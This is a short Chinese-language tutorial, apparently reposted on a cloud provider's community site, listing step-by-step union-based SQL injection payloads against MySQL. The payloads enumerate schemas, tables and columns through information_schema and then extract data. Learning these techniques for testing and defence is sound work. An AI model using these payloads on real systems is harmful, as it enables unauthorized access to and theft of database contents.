sql注入--mysql

來源:互聯網
上載者:User

標籤:base   com   系統   inf   on()   order   5.0   判斷   作業系統   

mysql資料庫結構:

  資料庫A  --> 表名  --> 列名 --> 資料

  資料庫B  --> 表名  --> 列名 --> 資料

mysql資料庫資訊:

  mysql 5.0以上內建資料庫:information_schema

  information_schema.schemata: 資料庫下的schemata庫名,含義:儲存所有資料庫下的庫名資訊的表。

  information_schema.tables: 資料庫下的tables表名,含義:儲存所有資料庫下的表名資訊的表。

  information_schema.columns: 資料庫下的columns表名,含義:儲存所有資料庫下的列名資訊的表。

  database():資料庫名

  user():資料庫使用者

  version():資料庫版本

  @@version_compile_os:作業系統 

  table_schema:資料庫名

  table_name:表名

  column_name:列名

mysql注入過程:

  (1) 判斷注入點:  ?id=1 and 1=1 ;? id=1 and 1=2

  (2) 判斷長度: ?id=1 order by 3

  (3) 擷取基本資料: @@version_compile_os , version()  , database()  , user()

  (4) 擷取庫名: ?id=1 union select table_schema,2,3 from information_schema.schemata

  (5) 擷取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 庫名[16進位]

  (6) 擷取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 庫名[16進位]

         and table_name = 表名[16進位]

  (7) 擷取資料: ?id=1 union select 列名[16進位],列名[16進位],3 from 表名[16進位]

 

sql注入--mysql

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.